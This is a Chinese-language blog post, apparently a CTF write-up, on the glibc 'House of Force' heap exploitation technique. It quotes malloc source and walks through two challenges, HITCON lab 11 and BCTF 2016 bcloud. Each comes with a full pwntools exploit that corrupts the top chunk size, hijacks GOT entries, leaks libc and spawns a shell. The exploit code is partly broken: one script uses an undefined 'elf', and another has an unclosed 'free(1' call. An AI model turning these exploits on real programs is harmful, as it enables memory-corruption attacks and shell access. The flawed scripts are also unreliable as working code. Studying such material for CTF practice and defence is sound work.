House of Force

House of Force

原理

glibc在空闲堆块无法满足要求的情况下会对top chunk进行操作,从它哪里得到新的满足用户需求的chunk块,House of Force的主要目标就是top chunk,我们如果可以控制top chunk的size的话就可以使得top chunk指向任何位置,实现任意写。
但是glibc在分配堆块的时候也存在检查,不过这个检查很好绕过,因为它并不是专门来检测违规操作的,可以通过源码了解一下。

victim = av->top;  //av代表arena,这是获取当前的top chunk
size   = chunksize(victim); //求出top chunk的size
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) //MINSIZE是chunk的最小size , nb是用户请求的chunk大小,这个检查的意思就是top chunk的size必须大于等于用户所需的chunk大小与chunk最小的size之和 
{ //以下的都是chunk在分配时的具体操作。
    remainder_size = size - nb; //求出剩余堆块的size
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder; //把剩余的堆块当做top chunk
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

我们可以看出,唯一需要绕过的检查就是size的大小检查,我们在做house of force的时候必须把top chunk的size设置为很大的值,不过对于有堆溢出或者其他漏洞的程序来说,这个并不难。
一个很有用的做法就是把top chunk的size设置为-1,因为在malloc源码中,大部分都是unsinged 类型的数据,那么-1就会被当做这个类型的最大值从而轻松实现绕过。

remainder      = chunk_at_offset(victim, nb); //通过原来的top chunk和要分配出去的chunk的size,通过偏移的方式找到新的top chunk的位置。
av->top        = remainder; //把分配后的剩余堆块当做top chunk
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0)); 
    set_head(remainder, remainder_size | PREV_INUSE);
/*设置top chunk的chunk_header*/

从上面代码我们就可以看出,如果我们绕过检查了,我们实际上是可以控制top chunk的,进而我们就实现了任意地址写。
不过我们需要注意的是用户输入的size和堆分配的chunk的大小其实是不一样的,用户输入的size会经过一个内部的checked_request2size运算:

glibc 2.23
#ifndef INTERNAL_SIZE_T
#define INTERNAL_SIZE_T size_t
#endif
......

#define REQUEST_OUT_OF_RANGE(req)                                 \
  ((unsigned long) (req) >=                              \
   (unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))

/* pad request bytes into a usable size -- internal version */

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                             \
  if (REQUEST_OUT_OF_RANGE (req)) {                          \
      __set_errno (ENOMEM);                              \
      return 0;                                      \
    }                                          \
  (sz) = request2size (req);

所以用户输入的size要经过运算使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK得出的结果满足需求,这个结果才是相应的堆块的chunk_size.而且需要绕过REQUEST_OUT_OF_RANGE的检查,这个的意思就是你输入的负值必须比-2*MINSIZE小(记得分清负数谁大谁小奥),这个一般都不用担心,同时我们要特别注意的是地址的对齐(32位8字节对齐,64位16字节对齐),因为free一个堆块的时候会进行地址对齐的检查。
同时,因为对top chunk的chunk header的设置,我们会改写指向的目标地址附近的值,这一点可以看一下上面源码里的set_head。

总结

* 程序存在漏洞我们可以控制top chunk的size域,例如堆溢出,off-by-one这类
* 我们要可以自由的控制malloc的大小,因为像got表或者malloc_hook,free_hook,main_ret这些其实都和top chunk相隔甚远。
* 分配次数不能受限制(其实这个还好,很多ctf题目的这个条件都可以满足)

练习

HITCON training lab 11

我们先用checksec大体观察一下

[*] '/home/root0/pratice/pwn/ctf-challenges-master/pwn/heap/house-of-force/hitcontraning_lab11/bamboobox'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到只是开启了Canary 和 NX,下面分析一下程序。

这个是add_item函数,可以看出堆块存储的数据结构大致是这样的:

struct item
{
    unsigned int size;
    void *ptr;
}

然后一个结构体数组存放在bss段就构成了这个程序的主要堆块存取数据结构。

show函数就是通过变量结构体数组来把所有的堆块内容打印出来。

remove函数在free后把指针置0,同时也把size给置0了。

change函数存在明显的溢出漏洞,因为change的时候输入的size可以由用户自由控制,这就存在了堆溢出漏洞。

同时这个程序也存在后门magic()

利用方法

首先做好准备工作,哈哈。

def malloc(size,context):
    r.recvuntil("choice:")
    r.sendline("2")
    r.recvuntil("name:")
    r.sendline(str(size))
    r.recvuntil("item:")
    r.send(context)

def show():
    r.recvuntil("choice:")
    r.sendline("1")

def change(idx,size,context):
    r.recvuntil("choice:")
    r.sendline("3")
    r.recvuntil("item:")
    r.sendline(str(idx))
    r.recvuntil("name:")
    r.sendline(str(size))
    r.recvuntil("item:")
    r.send(context)

def free(idx):
    r.recvuntil("choice:")
    r.sendline("4")
    r.recvuntil("item:")
    r.sendline(str(idx))

按照上面讲的house of force,你就可以知道,我们只需要修改top chunk的size,然后算出用户申请多少size才能使得top chunk偏移到第一次申请的chunk处,然后我们改写改chunk的内容为为magic函数的地址来实现利用就可以了。

EXP

from pwn import *
r = process("./bamboobox")
def malloc(size,context):
    r.recvuntil("choice:")
    r.sendline("2")
    r.recvuntil("name:")
    r.sendline(str(size))
    r.recvuntil("item:")
    r.sendline(context)

def show():
    r.recvuntil("choice:")
    r.sendline("1")

def change(idx,size,context):
    r.recvuntil("choice:")
    r.sendline("3")
    r.recvuntil("item:")
    r.sendline(str(idx))
    r.recvuntil("name:")
    r.sendline(str(size))
    r.recvuntil("item:")
    r.sendline(context)

def free(idx):
    r.recvuntil("choice:")
    r.sendline("4")
    r.recvuntil("item:")
    r.sendline(str(idx))

free_got = elf.got["free"]
magic = 0x000000000400D49
malloc(0x30,"aa") #0
change(0,0x41,"a"*0x30 +p64(0)+ p64(0xffffffffffffffff))
offset = -(0x40 + 0x20)
malloc(offset - 8 -0xf,"aa")
malloc(0x10,p64(magic)*2)
r.recvuntil("choice:")
r.sendline("5")
print r.recv()
r.interactive()

看到exp有人可能会第二个malloc哪里为啥多减去一个0xf这个其实不是必须的,看上面的源码我们可以知道在计算chunk size的时候加上了MALLOC_ALIGN_MASK,这里其实就是减去这个值,不过不是必须的,因为后面的与操作在对齐chunk size的时候就帮我们减去之前加上的这个值了。
另外 MALLOC_ALIGN_MASK = 2 * SIZE_SZ - 1 , 所以在64位里面就是0xf了。
上面这个算是一个实验,下面来一个题目类型的。

2016_bctf_bcloud

就逆向分析而言这个题目并不复杂,下面我只是大致分析一下题目的关键部分。

首先用checksec查看一下大致情况

[*] '/home/root0/pratice/pwn/ctf-challenges-master/pwn/heap/house-of-force/2016_bctf_bcloud/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了NX和canary

从new_note()函数我们可以得知堆块存储的大致数据结构,两个bss段的数组分别对应着堆块的mem部分指针和用户输入的size,同时用issync数组来标记是否同步。

delete_note()函数同时对指针和size置0,并且释放堆块。
利用思路
首先我们需要泄露地址,这个地址泄露的漏洞不是很好发现哈。。

第一眼看上去没什么问题,不过在strcpy的时候如果我们写入了0x40个字符,我们在栈上的数据就会和下面的指针连在一起,由于strcpy依赖”\x00”进行截断,所以会把我们数据下紧邻的堆块指针也复制到堆块里面,这样在printf的时候就会造成地址泄露。

这样我们就成功泄露了heap的地址,另一个漏洞在于init_org_host()函数:

这个漏洞类似于上面泄露地址时候的,也是由于strcpy,同样,让我们看一下如果我们输入最大数据量时栈里面的情况:

可以看到aaaa所在的区域的”\x00”截断已经没有了,那么在执行strcpy的时候会在org_ptr处造成溢出,而org_ptr处的下面一个chunk就是top chunk,所以如果我们精心构造第一次和第二次的输入就可以改造top chunk了实现house of force了。

house of force

我们改写top chunk的size为-1,然后算出note_size数组和top chunk之间的偏移使得top chunk指向note_size的上方,然后把note_size和note_list申请出来就可以实现溢出,进而实现利用。

利用思路

改写note_size,和note_list(这个是最主要目标)来实现任意写,实现任意写之后getshell的方式有很多,这里我们改写free@got为puts_plt,其实就是puts函数的地址,这样我们在delete的时候就可以把note_list上面对应的指针所指向的内容读取出来,这里我们可以把atoi@got写到note_list上来实现地址泄露,泄露成功之后我们可以把system的实际地址写入到atoi@got里面,因为在读入的时候都会使用这个函数,同时这个函数的参数是一个指针,那么我们输入的”/bin/sh\x00”就会被当做system函数的参数,这样我们就可以实现getshell了。

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./bcloud"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def malloc(size,context):
    r.recvuntil("option--->>\n")
    r.sendline("1")
    r.recvuntil("ontent:\n")
    r.send(str(size)+"\n")
    r.recvuntil("ontent:\n")
    r.send(context+"\n")

def free(idx):
    r.recvuntil("option--->>\n")
    r.sendline("4")
    r.recvuntil("id:\n")
    r.sendline(str(idx))

def edit(idx,content):
    r.recvuntil("option--->>\n")
    r.sendline("3")
    r.recvuntil("id:\n")
    r.sendline(str(idx))
    r.recvuntil("content:\n")
    r.send(content+"\n")

note_list = 0x804B120
note_size = 0x804B0A0
free_got = elf.got["free"]
puts_plt = elf.symbols["puts"]
atoi_got = elf.got["atoi"]
r.recvuntil("Input your name:\n")
r.send("a"*0x40)
r.recvuntil("a"*0x40)
heap_base = u32(r.recv(4)) - 0x8
confirm(heap_base)
top_chunk_addr = heap_base + 0x48 * 3
confirm(top_chunk_addr)
r.recvuntil("Org:\n")
r.send("a"*0x40)
r.recvuntil("Host:\n")
r.sendline(p32(0xffffffff))
offset = -(top_chunk_addr - note_size + 0x8)
confirm(offset)
malloc(offset-4-7,"aa")
payload = p32(16) * 3 + (note_list-note_size-12) * "a" + p32(free_got) + p32(atoi_got) * 2
malloc(1000,payload)
edit(0,p32(puts_plt))
free(1
atoi_addr = u32(r.recvuntil("\xf7"))
confirm(atoi_addr)
get_libc(atoi_addr,"atoi")
confirm(libcbase)
system_addr = libcbase + libc.dump("system")
confirm(system_addr)
edit(2,p32(system_addr))
r.recvuntil("option--->>\n")
r.sendline("/bin/sh\x00")
r.interactive()

相关参考:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/


   转载规则


《House of Force》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
House Of Eingherjar House Of Eingherjar
House Of Eingherjar这种技术实际上就是利用free时候的操作。 /* consolidate backward */ if (!prev_inuse(p)) { prevsize
2020-02-10
下一篇 
d3CTF2019 d3CTF2019
d3CTF pwn writeupunprintable V这个题目开了沙箱保护,那么我们可以用seccomp-tools来观察一下: line CODE JT JF K ========================
2020-02-10
  目录